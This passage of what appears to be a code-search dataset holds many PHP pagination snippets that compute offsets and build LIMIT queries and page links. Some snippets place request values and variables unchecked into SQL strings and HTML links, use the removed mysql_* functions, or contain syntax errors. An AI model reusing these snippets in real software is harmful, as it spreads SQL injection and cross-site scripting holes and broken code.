onClick=\\\"ajaxQuery('\".basename($_SERVER['PHP_SELF']).\"','not',\".$ajaxOffset.\", '\".$this->arrayText.\"')\\\">\" . $loop_page . \"</a></li>\";\r\n $offsetloop = $offsetloop + $this->limit;\r\n }\r\n return $string;\r\n }", "public function offset(){\n\t\t//Page 1 has an offset of 0 (1-1) * 20\n\t\t//Page 2 has an offset of 20 (2-1) * 20\n\t\t//in other words, page 2 starts with item 21\n\t\treturn ($this->current_page - 1) * $this->per_page;\t\n\t}", "private function offset()\n {\n if(is_array($this->limite)): $this->limite=$this->limite['limite']; endif;\n\t$offset = ($this->paginaAtual() - 1) * $this->limite;\n\treturn $offset;\n }", "private function _pagination()\n {\n\n if (Request::has('pq_curpage') && Request::has('pq_rpp')) {\n $columnsTemp = $this->_columnsRaw;\n $pq_curPage = Request::input('pq_curpage');\n $pq_rPP = Request::input('pq_rpp');\n $queryTemp = new \\stdClass();\n $queryTemp = $this->_getQueryStatement();\n $queryTemp->columns = null;\n\n // Verifica si existe algun filtro para aplicarlo al COUNT y determinar cuantos registros hay en la consulta\n if (property_exists($this->_filterTable, 'query')) {\n $queryTemp->whereRaw($this->_filterTable->query, $this->_filterTable->param);\n }\n\n $totalRecordQuery = $queryTemp->count();\n $this->_query->columns = $columnsTemp;\n\n $skip = ($pq_rPP * ($pq_curPage - 1));\n\n if ($skip >= $totalRecordQuery) {\n $pq_curPage = ceil($totalRecordQuery / $pq_rPP);\n $skip = ($pq_rPP * ($pq_curPage - 1));\n }\n\n // Make limit to query\n $this->_query->offset($skip)\n ->limit($pq_rPP);\n\n $this->_paginationLimit = [\n 'totalRecords' => $totalRecordQuery,\n 'curPage' => $pq_curPage,\n ];\n }\n }", "function calculate_record_offset()\n\t{\n\t\treturn $this->results_per_page * ($this->page_number - 1);\n\t}", "private function getOffset($limit='unset') \n { \n if ($limit != 'unset'){return ($this->getCurrentPage() - 1 ) * $this->getLimitPerPage($limit);}\n\t else {return ( $this->getCurrentPage() - 1 ) * $this->getLimitPerPage(); } \n \n }", "function pagenationv2($offset) {\r\n $this->offset = NULL;\r\n $this->arrayText = NULL;\r\n $this->pages = NULL;\r\n $this->offset = $offset;\r\n \r\n $temp = $offset;\r\n if ($this->countRecord) {\r\n $this->pages = intval($this->countRecord / $this->limit);\r\n }\r\n if ($this->countRecord % $this->limit) {\r\n $this->pages++;\r\n }\r\n $countRecordArray = count($this->arrayVariable);\r\n $offsetloop = 0;\r\n for ($loop_page = 1; $loop_page <= $this->pages; $loop_page++) {\r\n \r\n if ($countRecordArray >= 1) {\r\n \r\n for ($k = 0; $k < $countRecordArray; $k++) {\r\n $string.=\"<li \";\r\n if($temp==$offsetloop) {\r\n $string.=\" class=active \";\r\n }\r\n $string.=\"><a href=\\\"javascript:void(0)\\\" \"; \r\n if ($this->arrayVariable[$k] == \"offset\") {\r\n $this->arrayVariableValue[$k] = $offsetloop;\r\n \r\n }\r\n $this->arrayText = $this->arrayVariable[$k] . \"=\" . $this->arrayVariableValue[$k] . \"&\" . $this->arrayText;\r\n $string.=\" onClick=\\\"ajaxQuery('\".basename($_SERVER['PHP_SELF']).\"','not',\".$offsetloop.\", '\".$this->arrayText.\"')\\\">\" . $loop_page . \"</a></li>\";\r\n\r\n \r\n }\r\n } else {\r\n $string.=\"Do play play la I know you want to hack it ?\";\r\n }\r\n \r\n $offsetloop = $offsetloop + $this->limit;\r\n \r\n }\r\n return $string;\r\n \r\n }", "function paginate() {\n\t\t$all_rs = $this->db->query($this->sql );\n\t\t$this->total_rows = $all_rs->num_rows;\n\t\t\n\t\t//Return FALSE if no rows found\n\t\tif ($this->total_rows == 0) {\n\t\t\tif ($this->debug)\n\t\t\t\techo \"Query returned zero rows.\";\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\t//Max number of pages\n\t\t$this->max_pages = ceil($this->total_rows / $this->rows_per_page );\n\t\tif ($this->links_per_page > $this->max_pages) {\n\t\t\t$this->links_per_page = $this->max_pages;\n\t\t}\n\t\t\n\t\t//Check the page value just in case someone is trying to input an aribitrary value\n\t\tif ($this->page > $this->max_pages || $this->page <= 0) {\n\t\t\t$this->page = 1;\n\t\t}\n\t\t\n\t\t//Calculate Offset\n\t\t$this->offset = $this->rows_per_page * ($this->page - 1);\n\t\t\n\t\t//Fetch the required result set\n\t\t$rs = $this->db->query($this->sql . \" LIMIT {$this->offset}, {$this->rows_per_page}\" );\n\t\t$this->data = $rs->rows;\n\t}", "public function pagination($query,$offset,$limit) {\n $afterPrepare = $this->db->prepare($query);\n $afterPrepare->bindParam(\":offset\", $offset, PDO::PARAM_INT);\n $afterPrepare->bindParam(\":page_limit\", $limit, PDO::PARAM_INT);\n $afterPrepare->execute();\n return $afterPrepare->fetchAll(PDO::FETCH_ASSOC);\n }", "function startPagination($offset, $quantity)\n {\n $next_offset = $offset + $quantity;\n\n //compruebo si puedo crear el $back_offset sin que el numero que se crea sea negativo\n if ($offset > 0) {\n $back_offset = $offset - $quantity;\n } else {\n //le doy esto porque smarty no sabe diferenciar 0 de null.\n //se lo paso asi para evitar crear el boton cuando no se puede retroceder mas\n $back_offset = 0.1;\n }\n\n //le doy de desde donde ($offset) hasta donde ($limit) me traiga obras\n $artworks = $this->modelArtwork->getBlockOfArtworks($offset, $quantity);\n\n //agarrar la cantidad de rows. arranca desde 0\n $rowcount = $this->modelArtwork->GetRowCount();\n $rowcount_number = $rowcount[\"COUNT(*)\"];\n\n\n //si el limite supera o es igual a la cantidad de rows de la db, le doy null para evitar\n //que se pueda crear el boton de avanzar, ya que no traeria nada de la db\n if ($next_offset >= $rowcount_number) {\n $next_offset = null;\n }\n $this->view->showPaginatedPage($artworks, $next_offset, $back_offset);\n }", "private function setOffset()\n {\n $this->offset = ($this->limit * $this->currentPage) - $this->limit;\n }", "function getPagelist($sql = '', $fields = array(), $mod = array())\n{\n $count = count(db(sql));\n $totalNum = ceil($count / PAGE_NUM);\n $path = $request_url['path'];\n\n $page = (isset($_GET['page']) && $_GET['page'] != '') ? $_GET['page'];\n// 组装limit语句\n $limit = 'LIMIT' . ($page - 1) * PAGE_NUM . ',' . PAGE_NUM;\n $datas = db($sql, $limit);\n $html = getTable($datas, $fields, $mod);\n $start = ($page - PAGE_OFFSET) > 0 ? $page - PAGE_OFFSET : 1;//获取左侧位置的偏移\n $end = ($page + PAGE_OFFSET) < $totalNum ? $page + PAGE_OFFSET : $totalNum;\n $html .= '<div class=\"page\">';\n if ($page > 1) {\n $html .= '<a href=\"' . $path . '?page=' . ($page - 1) . '\">上一页</a>';\n $html .= '<a href=\"' . $path . '?page=1\">首页</a>';\n }\n for($i = $start;$i<=$end;$i++)\n {\n $class = ($i==$page)?'class=\"on\"':'';\n $html .='<a href =\"'.$path.'?page='.$i.'\"'.$class.'>'.$i.'</a>';\n\n\n }\n if ($page < $totalNum) {\n ;\n $html .= '<a href=\"' . $path . '?page='.$totalNum.'\">尾页</a>';\n $html .= '<a href=\"' . $path . '?page='.($page+1).'\">下一页</a>';\n }\n $html .='共'.$totalNum.'页';\n $html .='</div>';\n return $html;\n}", "public function testFetchPageIntegerOffset(){\n $str_gql = \"SELECT * FROM Kind\";\n $obj_request = $this->getBasicFetchRequest();\n $obj_gql_query = $obj_request->mutableGqlQuery();\n $obj_gql_query->setAllowLiteral(TRUE);\n $obj_gql_query->setQueryString($str_gql . \" LIMIT @intPageSize OFFSET @intOffset\");\n\n $obj_arg = $obj_gql_query->addNameArg();\n $obj_arg->setName('intPageSize');\n $obj_arg->mutableValue()->setIntegerValue(11);\n\n $obj_arg_offset = $obj_gql_query->addNameArg();\n $obj_arg_offset->setName('intOffset');\n $obj_arg_offset->mutableValue()->setIntegerValue(22);\n\n $this->apiProxyMock->expectCall('datastore_v4', 'RunQuery', $obj_request, new \\google\\appengine\\datastore\\v4\\RunQueryResponse());\n\n $obj_store = $this->createBasicStore();\n $obj_result = $obj_store->query($str_gql)->fetchPage(11, 22);\n\n $this->assertEquals($obj_result, []);\n $this->apiProxyMock->verify();\n }", "private function _sql_offset() {\n\t\tif ( $this->limit && $this->offset ) {\n\t\t\treturn ' OFFSET '. $this->offset;\n\t\t}\n\t\telse {\n\t\t\treturn '';\n\t\t}\n\t}", "function newskomentar_searchdata_all_bypage( $tbl_newskomentar, $cari, $offset, $dataperPage ){\n\t\t$sql = mysql_query(\"SELECT * FROM $tbl_newskomentar WHERE \n\t\t\tjudul LIKE '$cari' OR\n\t\t\tpesan LIKE '$cari' \n\t\t\t\tORDER BY id ASC LIMIT $offset, $dataperPage\n\t\t\"); \n \t\treturn $sql;\n}", "function getPagingInfo($sql,$input_arguments=null);", "private function getOffset($params, $limit) {\r\n $offset = 0;\r\n if (isset($params['startPage']) && is_numeric($params['startPage']) && $params['startPage'] > 0) {\r\n $offset = (($params['startPage'] - 1) * $limit);\r\n }\r\n else if (isset($params['startIndex']) && is_numeric($params['startIndex']) && $params['startIndex'] > 0) {\r\n $offset = ($params['startIndex']) - 1;\r\n }\r\n return $offset;\r\n }", "public function getOffset() {\n // page 1 has an offset of 0 (1-1) * 20\n // page 2 has an offset of 20 (2-1) * 20\n // in other words, page 2 starts with item 21\n return ( $this->currentPage - 1 ) * $this->perPage;\n }", "abstract public function getPaginate($premiereEntree, $messageTotal, $where);", "protected function buildPagination() {}", "protected function buildPagination() {}", "public function showCarsPagination($limit, $offset){\n\n echo $offset;\n\n $this->db->query('SELECT * FROM '. CARS_TABLE . ' WHERE `deleted` = 0 LIMIT '. $limit . ' OFFSET ' .$offset );\n $result = $this->db->getAll();\n\n if ( !empty($result) ){\n return array(\n 'success' => true,\n 'data' => $result\n );\n\n }else{\n return false;\n }\n\n }", "public function paging(){\n\t\t$sql = \"SELECT * FROM berita\";\n\t\t$query = $this->db->query($sql) or die ($this->db->error);\n\t\treturn $query;\n\t}", "function select_allpaging($limit,$offset){\n $sql = \"SELECT e.*, r.*, l.*, c.*, e.status as employee_status, \n (SELECT em.position FROM employment_active em\n WHERE em.id_employee = e.id_employee \n AND em.status=1) as position\n FROM employee e\n LEFT JOIN role r\n ON e.id_role = r.id_role\n LEFT JOIN employment_active em\n ON e.id_employee = em.id_employee\n LEFT JOIN level_staff l\n ON em.id_level = l.id_level\n LEFT JOIN city c\n ON em.id_city = c.id_city\n LIMIT \".$limit.\" OFFSET \".$offset.\"\n \";\n $query = $this->db->query($sql);\n $result_array = $query->result_array();\n\n return $result_array;\n }", "function _sf_query_offset(&$query) {\n\t\tif(!isset($query->query['offset'])) { return; }\n\t\tif(!$query->query['offset']) { return; }\n\t\n\t\t///// FIRST OUR DESIRED OFFSET\n\t\t$offset = $query->query['offset'];\n\t\t\n\t\t///// NEXT HOW MANY POSTS PER PAGE WE ACTUALLY WANT\n\t\t$ppp = $query->query['posts_per_page'];\n\t\t\n\t\t///// LETS DETECT AND HANDLE PAGINATION\n\t\tif($query->is_paged) {\n\t\n\t\t\t//Manually determine page query offset (offset + current page (minus one) x posts per page)\n\t\t\t$page_offset = $offset + ( ($query->query_vars['paged']-1) * $ppp );\n\t\n\t\t\t//Apply adjust page offset\n\t\t\t$query->set('offset', $page_offset );\n\t\t\t\n\t\t} else {\n\t\t\t\n\t\t\t//// ITS OUR FIRST PAGE, JUST USE THE OFFSET\n\t\t\t$query->set('offset',$offset);\n\t\t\t\n\t\t}\n\t\t\n\t}", "function pagenationv3($offset) {\r\n\r\n \r\n $this->offset = NULL;\r\n $this->offset = $offset;\r\n $allrecord = $this->offset + 1;\r\n $extra = $allrecord +$this->limit-1;\r\n if ($allrecord > $this->countRecord) {\r\n $string=\"No Record\";\r\n } else {\r\n $string=\"<li><a href=\\\"#\\\" >\" . $allrecord . \" to \".$extra.\" from \" . $this->countRecord . \"</a></li>\";\r\n }\r\n return $string;\r\n }", "public function find_limit($limit = 100, $offset = 0 )\n {\n $query= $this->db->query(\"\n SELECT *\n FROM punti_spesi\n LIMIT $offset , $limit \"); \n return $query->result();\n }", "public function getPerPage();", "function pager($current_page, $records_per_page, $pages_per_pageList, $dataQuery, $countQuery){\n $obj->record = array(); // beinhaltet ein Arrray des objects mit Daten wor&uuml;ber dann zugegriffen wird.\n $obj->current_page = $current_page; // Startet mit 0!\n $obj->total_cur_page = 0; // shows how many records belong to current page\n $obj->records_per_page = 0;\n $obj->total_records = 0;\n $obj->total_pages = 0;\n $obj->preceding = false; // Ist true wenn es eine Seite vor der angezeigten gibt.\n $obj->subsequent = false; // Ist true wenn es eine Seite nach der angezeigten gibt.\n $obj->pages_per_pageList = 10; //$pages_per_pageList;\n $result=mysql_query($countQuery, $this->CONNECTION);\n $obj->total_records = mysql_num_rows($result);\n if($obj->total_records>0){\n $obj->record = $this->select($dataQuery);\n $obj->total_cur_page = sizeof($obj->record);\n $obj->records_per_page = $records_per_page;\n $obj->total_pages = ceil($obj->total_records/$records_per_page);\n $obj->offset_page = $obj->pages_per_pageList*floor($obj->current_page/$obj->pages_per_pageList);\n $obj->total_pages_in_pageList = $obj->total_pages-($obj->offset_page+$obj->pages_per_pageList);\n $obj->last_page_in_pageList = $obj->offset_page+$obj->pages_per_pageList;\n if($obj->last_page_in_pageList>$obj->total_pages) $obj->last_page_in_pageList=$obj->total_pages;\n if($obj->offset_page>0) $obj->pageList_preceding=true;\n else $obj->pageList_preceding=false;\n if($obj->last_page_in_pageList<$obj->total_pages) $obj->pageList_subsequent=true;\n else $obj->pageList_subsequent=false;\n if($obj->current_page>1) $obj->preceding=true;\n if($obj->current_page<$obj->total_pages) $obj->subsequent=true;\n }\n return $obj;\n }", "function paginate() {\r\n\t\t/*Check for valid mysql connection\r\n\t\tif (! $this->conn || ! is_resource($this->conn )) {\r\n\t\t\tif ($this->debug)\r\n\t\t\t\techo \"MySQL connection missing<br />\";\r\n\t\t\treturn false;\r\n\t\t}*/\r\n\t\t\r\n\t/*\t//Find total number of rows\r\n\t\t$all_rs = @mysql_query($this->sql );\r\n\t\tif (! $all_rs) {\r\n\t\t\tif ($this->debug)\r\n\t\t\t\techo \"SQL query failed. Check your query.<br /><br />Error Returned: \" . mysql_error();\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$this->total_rows = mysql_num_rows($all_rs );\r\n\t\t@mysql_close($all_rs );\r\n\t\t*/\r\n\t\t$this->total_rows=$this->sql;\r\n\t\t//Return FALSE if no rows found\r\n\t\tif ($this->total_rows == 0) {\r\n\t\t\tif ($this->debug)\r\n\t\t\t\techo \"<h3 style='\r\ntext-align: center;\r\ncolor: gray;\r\nwidth: 690px;\r\nfont-size: 47px;\r\nmargin: 90px 0 0 0;\r\nfont-family: trebuchet ms;\r\n'>No Record Found</h3>\";\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\t\t\r\n\t\t//Max number of pages\r\n\t\t$this->max_pages = ceil($this->total_rows / $this->rows_per_page );\r\n\t\tif ($this->links_per_page > $this->max_pages) {\r\n\t\t\t$this->links_per_page = $this->max_pages;\r\n\t\t}\r\n\t\t\r\n\t\t//Check the page value just in case someone is trying to input an aribitrary value\r\n\t\tif ($this->page > $this->max_pages || $this->page <= 0) {\r\n\t\t\t$this->page = 1;\r\n\t\t}\r\n\t\t\r\n\t\t//Calculate Offset\r\n\t\t$this->offset = $this->rows_per_page * ($this->page - 1);\r\n\t\t\r\n\t\t/*//Fetch the required result set\r\n\t\t$rs = @mysql_query($this->sql . \" LIMIT {$this->offset}, {$this->rows_per_page}\" );\r\n\t\tif (! $rs) {\r\n\t\t\tif ($this->debug)\r\n\t\t\t\techo \"Pagination query failed. Check your query.<br /><br />Error Returned: \" . mysql_error();\r\n\t\t\treturn false;\r\n\t\t}*/\r\n\t\treturn \"\";\r\n\t}", "public function getPaginated();", "function findStartGet($limit) { // limit diisi 10\n\t\tif ((!isset($_GET['page'])) || ($_GET['page'] == \"1\")) \n\t\t { \n\t\t $start = 0; \n\t\t $_GET['page'] = 1; \n\t\t } \n\t\t else \n\t\t { // jika $page= 3 \n\t\t $start = ($_GET['page']-1) * $limit; // maka $start= 20\n\t\t }\n\t\t\t\n\t\t return $start; \n }", "public function setPagination($limit, $offset = 0);", "private function setLimitAndOffset()\n {\n $this->offset = ($this->page - 1) * $this->config->limit;\n if ($this->config->limit == 0) {\n $this->config->limit = count(self::$needles);\n }\n }", "public function getPaginate(){ }", "function pagination(){}", "public function testFetchPageCursorOffset(){\n $str_gql = \"SELECT * FROM Kind\";\n $obj_request = $this->getBasicFetchRequest();\n\n $obj_gql_query = $obj_request->mutableGqlQuery();\n $obj_gql_query->setAllowLiteral(TRUE);\n $obj_gql_query->setQueryString($str_gql . \" LIMIT @intPageSize OFFSET @startCursor\");\n\n $obj_arg = $obj_gql_query->addNameArg();\n $obj_arg->setName('intPageSize');\n $obj_arg->mutableValue()->setIntegerValue(11);\n\n $obj_arg_offset = $obj_gql_query->addNameArg();\n $obj_arg_offset->setName('startCursor');\n $obj_arg_offset->setCursor('some-cursor-string');\n\n $this->apiProxyMock->expectCall('datastore_v4', 'RunQuery', $obj_request, new \\google\\appengine\\datastore\\v4\\RunQueryResponse());\n\n $obj_store = $this->createBasicStore();\n $obj_result = $obj_store->query($str_gql)->fetchPage(11, 'some-cursor-string');\n\n $this->assertEquals($obj_result, []);\n $this->apiProxyMock->verify();\n }", "function newPaging($data) {\n $batas = $data['setPage'];\n $halaman = $data['halaman'];\n if (empty($halaman)) {\n $posisi = 0;\n $halaman = 1;\n } else {\n $posisi = ($halaman - 1) * $batas;\n }\n\n //Langkah 2: Sesuaikan perintah SQL\n $tampil = \"SELECT * FROM anggota LIMIT $posisi,$batas\";\n //print_r($tampil);\n $hasil = mysql_query($tampil);\n\n $no = $posisi + 1;\n while ($r = mysql_fetch_array($hasil)) {\n echo \"<tr><td>$no</td><td>$r[nama]</td><td>$r[alamat]</td></tr>\";\n $no++;\n }\n echo \"</table><br>\";\n\n //Langkah 3: Hitung total data dan halaman \n $tampil2 = mysql_query(\"SELECT * FROM anggota\");\n $jmldata = mysql_num_rows($tampil2);\n $jmlhal = ceil($jmldata / $batas);\n\n echo \"<div class=paging>\";\n // Link ke halaman sebelumnya (previous)\n if ($halaman > 1) {\n $prev = $halaman - 1;\n echo \"<span class=prevnext><a href=$_SERVER[PHP_SELF]?halaman=$prev>« Prev</a></span> \";\n } else {\n echo \"<span class=disabled>« Prev</span> \";\n }\n\n // Tampilkan link halaman 1,2,3 ...\n for ($i = 1; $i <= $jmlhal; $i++)\n if ($i != $halaman) {\n if (isset($_GET['setPage'])) {\n $setPage = $_GET['setPage'];\n echo \" <a href=$_SERVER[PHP_SELF]?halaman=$i&setPage=$setPage>$i</a> \";\n } else {\n echo \" <a href=$_SERVER[PHP_SELF]?halaman=$i>$i</a> \";\n }\n } else {\n echo \" <span class=current>$i</span> \";\n }\n\n // Link kehalaman berikutnya (Next)\n if ($halaman < $jmlhal) {\n $next = $halaman + 1;\n echo \"<span class=prevnext><a href=$_SERVER[PHP_SELF]?halaman=$next>Next »</a></span>\";\n } else {\n echo \"<span class=disabled>Next »</span>\";\n }\n echo \"</div>\";\n}", "public function getPagination($rowCount, $offset, $limit) {\n \n $this->rowCount = $rowCount;\n $this->offset = $offset;\n $this->limit = (intval($limit) == 0) ? 1 : intval($limit);\n $retval = array();\n $numPages = $this->getNumPages();\n $currentEstablished = false;\n $prev = array();\n $next = array();\n\n for ($i = 0; $i < $this->getNumPages(); $i++) {\n $dataOffset = ($i * $limit);\n $item = array(\"offset\" => \"$dataOffset\", \"limit\" => $limit);\n\n //we've found our 'current' so let's get our 'next' on this iteration\n if($currentEstablished && count($next) == 0) {\n $next = $item;\n }\n if (!$currentEstablished && $offset <= $dataOffset) {\n $item[\"current\"] = 'current';\n $currentEstablished = true;\n //make the previous retval index our 'prev' link\n $prev = end($retval);\n } else {\n $item[\"current\"] = \"\";\n }\n $retval[] = $item;\n }\n\n return array('index' => $retval, 'prev' => $prev, 'next' => $next);\n }", "function getPage($offset)\n {\n return max(min($this->cur_page + $offset, $this->total_page), '');\n }", "function paginate($page=1,$limit=16)\n{\n $limit = $limit ? : 16;\n $skip = ($page ? $page-1 :0) * $limit;\n return [$limit,$skip];\n}", "public function GetByPaginated($offset, $limit);", "protected function getOffset(): int\n {\n return ($this->page - 1) * $this->limitPerPage;\n }", "function limit_offset($limit = 0, $offset = 0) {\r\n \tif (!$limit) return false;\r\n\r\n \tif ($offset) {\r\n \t\treturn \" LIMIT $offset, $limit\";\r\n \t} else {\r\n \t\treturn \" LIMIT $limit\";\r\n \t}\r\n }", "public function m_paging($form,$count,$start,$limit,$sql) {\n\n\t//count the rows of the query\n\t\t$sql = \"select count(*) as 'total' $sql limit 1\";\n\n\t\t$result = o_db::m_select($sql);\n\t\t$total = $result[0]['total'];\n\n\t//echo \"$total <br> $count\";\n\n\t\tif ($total == 0 || $count == 0)\n\t\t\treturn 0;\n\t\tif ($start > $total)\n\t\t\treturn 0;\n\n\t//the page requested is the current page plus the number of rows passed for the current page\n\t//this way, if there are less than the limit of results for the requested page\n\t//(eg. a limit range could be 1-50, but only 32 rows were retrieved, so we would show 1-32)\n\t\t$place = $start + $count;\n\n\t//if the whole result set for the sql query is the same amount as the current page passed\n\t//then paging is NOT needed because there is only 1 page of results available for the query\n\t\tif ($total >= $place)\n\t\t{\n\t\t//displayed in the colored box on the left of the paging block\n\t\t\t$range = ($start + 1).\" - \".$place.\" / $total\";\n\t\t\t$this->page_range = $range;\n\t\t} //end if\n\n\t\tif ($total > $count)\n\t\t{\n\n\t\t//get the results per page select menu\n\t\t\t_esrs::m_menu_page_limits($form);\n\t\t//get the page to display select menu\n\t\t\t_esrs::m_menu_display_page($form,$start,$total,$limit);\n\n\t\t} //end if\n\n\t//determin which buttons should appear on the requested page\n\t//the first page has only a next button, no previous\n\t//the last page has only a previous button, no next\n\n\t//if the total number of rows available in the dataset equals where we're at\n\t//then do NOT paint a next button\n\t\t$this->next_butt = (($total > $place) ? \"<input id=\\\"esrs_submit\\\" class=\\\"esrs_submit\\\" type=submit name=\\\"esrs_page_next\\\" value=\\\"Next $limit\\\">\" : \"&nbsp;\");\n\n\t//if we're on the first page of the result\n\t//then do NOT paint a previous button\n\t\t$this->prev_butt = (($start > 0) ? \"<input id=\\\"esrs_submit\\\" class=\\\"esrs_submit\\\" type=submit name=\\\"esrs_page_prev\\\" value=\\\"Prev $limit\\\">\" : \"&nbsp;\") ;\n\n\t\t$this->do_paging = 1;\n\n\t}", "protected function getOffsetAndLimit($param)\n\t{\n\t\t$index = $param->getNewPageIndex();\n\t\t$pageSize = $this->getPageSize();\n\t\treturn $index < 1 ? array($index, $pageSize*2) : array(($index-1)*$pageSize, $pageSize*3);\n\t}", "private function getOffset($limit = 10, $page = 0)\r\n {\r\n if($page > 1){\r\n return $limit * ($page-1);\r\n }\r\n\r\n return 0;\r\n }", "function paging($tablename, $fieldlist, $where = '', $orderby = '', $groupby = '', $records=15, $pages=9)\n\t{\n\t\t$converter = new encryption();\n\t\t$dbfunctions = new dbfunctions();\n\t\tif($pages%2==0)\n\t\t\t$pages++;\n\t\t/*\n\t\tThe pages should be odd not even\n\t\t*/\n\t\t$sql = $dbfunctions->GenerateSelectQuery($tablename, $fieldlist, $where, $orderby, $groupby);\n\t\t$dbfunctions->SimpleSelectQuery($sql);\n\t\t$total = $dbfunctions->getNumRows();\n\t\t$page_no = (int) isset($_GET[\"page_no\"])?$converter->decode($_GET[\"page_no\"]):1;\n\t\t/*\n\t\tChecking the current page\n\t\tIf there is no current page then the default is 1\n\t\t*/\n\t\t$limit = ($page_no-1)*$records;\n\t\t$sql = $dbfunctions->GenerateSelectQuery($tablename, $fieldlist, $where, $orderby, $groupby, \" limit $limit,$records\");\n\t\t/*\n\t\tThe starting limit of the query\n\t\t*/\n\t\t$first=1;\n\t\t$previous=$page_no>1?$page_no-1:1;\n\t\t$next=$page_no+1;\n\t\t$last=ceil($total/$records);\n\t\tif($next>$last)\n\t\t\t$next=$last;\n\t\t/*\n\t\tThe first, previous, next and last page numbers have been calculated\n\t\t*/\n\t\t$start=$page_no;\n\t\t$end=$start+$pages-1;\n\t\tif($end>$last)\n\t\t\t$end=$last;\n\t\t/*\n\t\tThe starting and ending page numbers for the paging\n\t\t*/\n\t\tif(($end-$start+1)<$pages)\n\t\t{\n\t\t\t$start-=$pages-($end-$start+1);\n\t\t\tif($start<1)\n\t\t\t\t$start=1;\n\t\t}\n\t\tif(($end-$start+1)==$pages)\n\t\t{\n\t\t\t$start=$page_no-floor($pages/2);\n\t\t\t$end=$page_no+floor($pages/2);\n\t\t\twhile($start<$first)\n\t\t\t{\n\t\t\t\t$start++;\n\t\t\t\t$end++;\n\t\t\t}\n\t\t\twhile($end>$last)\n\t\t\t{\n\t\t\t\t$start--;\n\t\t\t\t$end--;\n\t\t\t}\n\t\t}\n\t\t/*\n\t\tThe above two IF statements are kinda optional\n\t\tThese IF statements bring the current page in center\n\t\t*/\n\t\t$this->sql=$sql;\n\t\t$this->records=$records;\n\t\t$this->pages=$pages;\n\t\t$this->page_no=$page_no;\n\t\t$this->total=$total;\n\t\t$this->limit=$limit;\n\t\t$this->first=$first;\n\t\t$this->previous=$previous;\n\t\t$this->next=$next;\n\t\t$this->last=$last;\n\t\t$this->start=$start;\n\t\t$this->end=$end;\n\t}", "public static function pagination()\n {\n $limit = (int) self::set(\"limit\");\n $offset = (int) self::set(\"offset\");\n\n $limit = Validator::intType()->notEmpty()->positive()->validate($limit)? $limit: false;\n $offset = Validator::intType()->notEmpty()->positive()->validate($offset)? $offset: 0;\n\n $pagination = \"\";\n $pagination .= $limit? \" LIMIT {$limit}\": null;\n $pagination .= ($limit && $offset)? \" OFFSET {$offset}\": null;\n\n return (object) [\n \"limit\" => $limit,\n \"offset\" => $offset,\n \"query\" => $pagination\n ];\n }", "function set_pagination(){\n\t\tif ($this->rpp>0)\n\t\t{\n\t\t\t$compensation= ($this->num_rowset % $this->rpp)>0 ? 1 : 0;\n\t\t\t$num_pages = (int)($this->num_rowset / $this->rpp) + $compensation;\n\t\t} else {\n\t\t\t$compensation = 0;\n\t\t\t$num_pages = 1;\n\t\t}\n\n\t\tif ($num_pages>1){\n\t\t\t$this->tpl->add(\"pagination\", \"SHOW\", \"TRUE\");\n\n\t\t\tfor ($i=0; $i<$num_pages; $i++){\n\t\t\t\t$this->tpl->add(\"page\", array(\n\t\t\t\t\t\"CLASS\"\t=> \"\",\n\t\t\t\t\t\"VALUE\"\t=> \"\",\n\t\t\t\t));\n\t\t\t\t$this->tpl->parse(\"page\", true);\n\t\t\t}\n\t\t}\n/*\n\t\t\t<patTemplate:tmpl name=\"pagination\" type=\"simplecondition\" requiredvars=\"SHOW\">\n\t\t\t<div class=\"pagination\">\n\t\t\t\t<ul>\t\n\t\t\t\t\t<patTemplate:tmpl name=\"prev_page\" type=\"simplecondition\" requiredvars=\"SHOW\">\n\t\t\t\t\t<li class=\"disablepage\"><a href=\"javascript: return false;\">« Предишна</a></li>\n\t\t\t\t\t</patTemplate:tmpl>\n\t\t\t\t\t<patTemplate:tmpl name=\"page\">\n\t\t\t\t\t<li {CLASS}>{VALUE}</li>\n\t\t\t\t\t</patTemplate:tmpl>\n<!--\n\t\t\t\t\t<li class=\"currentpage\">1</li>\n\t\t\t\t\t<li><a href=\"?page=1&sort=date&type=desc\">2</a></li>\n\t\t\t\t\t<li><a href=\"?page=2&sort=date&type=desc\">3</a></li>\n//-->\n\t\t\t\t\t<patTemplate:tmpl name=\"next_page\" type=\"simplecondition\" requiredvars=\"SHOW\">\n\t\t\t\t\t<li><a href=\"?page=1&sort=date&type=desc\">Следваща »</a></li>\n\t\t\t\t\t</patTemplate:tmpl>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t\t</patTemplate:tmpl>\n*/\n\t}", "public function getPageSize();", "function getCateByPage($page, $pageSize = 3)\n{\n $sql = \"select * from shopping_cate\";\n global $totalRowsCate;\n $totalRowsCate = getResultNum($sql);\n global $totalPageCate;\n // echo $totalRows;\n // $pageSize = 3;\n // ceil() 函数向上舍入为最接近的整数\n $totalPageCate = ceil($totalRowsCate / $pageSize);\n\n if ($page < 1 || $page == null || !is_numeric($page)) {\n $page = 1;\n }\n if ($page > $totalPageCate) {\n $page = $totalPageCate;\n }\n $offset = ($page - 1) * $pageSize;\n $sql = \"SELECT id,cName FROM shopping_cate ORDER BY id LIMIT {$offset},{$pageSize}\";\n // $rows = getAllAdmin();\n $rowsCate = &fetchAll($sql);\n return $rowsCate;\n}", "public function pagination($startLimit) {\n $endLimit = $startLimit + 24;\n $startLimit -=1;\n $query = \"select * from `rental`ORDER BY id DESC limit $startLimit,$endLimit\";\n $res = mysql_query($query);\n return $res;\n }", "public function getPerPage(): int;", "public function getPaginationDataSource();", "function showDataResultado($START, $RECORD)\n{\n // $record_page = 10;\n $page = '';\n global $mysqli;\n $query = new Query($mysqli, \"SELECT nombre,apellido,CONCAT(provincia,'-',tomo,'-',folio)AS cedula,n_ins,sede,fac_ia,esc_ia,car_ia,ps,pca,pcg,gatb,verbal,numer,indice\n FROM resultados2017 where n_ins is not null LIMIT \" . $START . \", \" . $RECORD);\n $parametros = array();\n $data = $query->getresults();\n\n if (isset($data[0])) {\n return $data;\n } else {\n return null;\n }\n\n}", "public function offset() {\n return ($this->current_page - 1) * $this->per_page;\n }", "function pagination($query, $per_page, $page, $url){\n\t\tglobal $con;\n\t\t$query = \"SELECT COUNT(*) as `num` FROM {$query}\";\n\t\t$row = mysqli_fetch_array(mysqli_query($con, $query));\n\t\t$total = $row['num'];\n\t\t$adjacents = \"2\"; \n\t\t \n\t\t$prevlabel = \"&lsaquo; Prev\";\n\t\t$nextlabel = \"Next &rsaquo;\";\n\t\t$lastlabel = \"Last &rsaquo;&rsaquo;\";\n\t\t 